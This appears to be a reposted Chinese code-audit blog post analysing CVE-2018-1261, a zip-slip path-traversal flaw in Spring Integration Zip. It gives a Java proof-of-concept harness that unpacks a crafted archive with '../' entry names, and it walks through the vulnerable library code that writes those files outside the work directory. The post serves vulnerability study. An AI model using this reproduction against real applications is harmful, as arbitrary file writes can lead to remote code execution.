1. 程式人生 > >【代碼審計】Spring Integration Zip不安全解壓(CVE-2018-1261)漏洞分析

【代碼審計】Spring Integration Zip不安全解壓(CVE-2018-1261)漏洞分析

圖片 ssa clas port als put gets 9.png after

1.漏洞相關信息

漏洞名稱:Spring Integration Zip不安全解壓

漏洞編號:CVE-2018-1261

漏洞描述:在spring-integration-zip.v1.0.1.RELEASE之前的版本中,惡意用戶通過在壓縮文件中構造包含有特定文件名稱的文件(受影響文件格式有bzip2, tar, xz, war, cpio, 7z),應用程序使用spring-integration-zip進行解壓時,會導致跨目錄任意寫入文件漏洞的攻擊。進而有可能被Getshell,遠程控制。

漏洞原理:攻擊者可以通過構造一個包含名稱帶../前綴的文件的壓縮包,在spring-integration-zip進行解壓時文件跳出解壓文件的目錄限制,創建文件

漏洞利用前置條件

1.使用了spring-integration-zip庫

2.接收並解壓了來自不可信來源的壓縮文件

2.環境搭建

Libraries:

技術分享圖片

3.漏洞復現

惡意壓縮包文件內容

技術分享圖片

技術分享圖片

測試代碼如下

unZipTransformer.setWorkDirectory(path);設置了解壓文件的路徑,在CVE-2018-1261目錄下會生成good.txt文件,而eval文件就會逃出限制,在根目錄生成文件

import org.springframework.core.io.DefaultResourceLoader;
import org.springframework.core.io.Resource;
import org.springframework.core.io.ResourceLoader; import org.springframework.integration.support.MessageBuilder; import org.springframework.integration.zip.transformer.UnZipTransformer; import org.springframework.messaging.Message; import java.io.File; import java.io.InputStream; public class Main {
private static ResourceLoader resourceLoader = new DefaultResourceLoader(); private static File path = new File("./CVE-2018-1261/"); public static void main(final String... args) { final Resource evilResource = resourceLoader.getResource("classpath:zip-malicious-traversal.zip"); try{ InputStream evilIS = evilResource.getInputStream(); Message<InputStream> evilMessage = MessageBuilder.withPayload(evilIS).build(); UnZipTransformer unZipTransformer = new UnZipTransformer(); //設置解壓文件的目錄為CVE-2018-1261 unZipTransformer.setWorkDirectory(path); unZipTransformer.afterPropertiesSet(); //漏洞入口點 unZipTransformer.transform(evilMessage); }catch (Exception e){ System.out.println(e); } } }

示例中的UnZipTransformer.transform()會調用doZipTransform()來處理壓縮包

技術分享圖片

在遍歷壓縮包內目錄及文件時,回調ZipEntryCallback中的process()對其進行處理

ZipUtil.iterate(inputStream, new ZipEntryCallback() {
    @Override
    public void process(InputStream zipEntryInputStream, ZipEntry zipEntry) throws IOException {
    
        final String zipEntryName = zipEntry.getName();
        ...
        if (ZipResultType.FILE.equals(zipResultType)) {
            final File tempDir = new File(workDirectory, message.getHeaders().getId().toString());
            tempDir.mkdirs(); //NOSONAR false positive
            final File destinationFile = new File(tempDir, zipEntryName);
    
            if (zipEntry.isDirectory()) { ...   }
            else {
                SpringZipUtils.copy(zipEntryInputStream, destinationFile);
                uncompressedData.put(zipEntryName, destinationFile);
            }
        }
    ...
}

../../../那一串是通過zipEntry.getName()得到的

final File destinationFile = new File(tempDir, zipEntryName);確定解壓目錄

接著就是調用copy put

技術分享圖片

獲取傳過來的輸入數據以及從文件系統中的某個文件中獲得輸入字節,把數據寫到destinationFile處

技術分享圖片

要提前在根目錄下創建tmp文件夾

技術分享圖片

【代碼審計】Spring Integration Zip不安全解壓(CVE-2018-1261)漏洞分析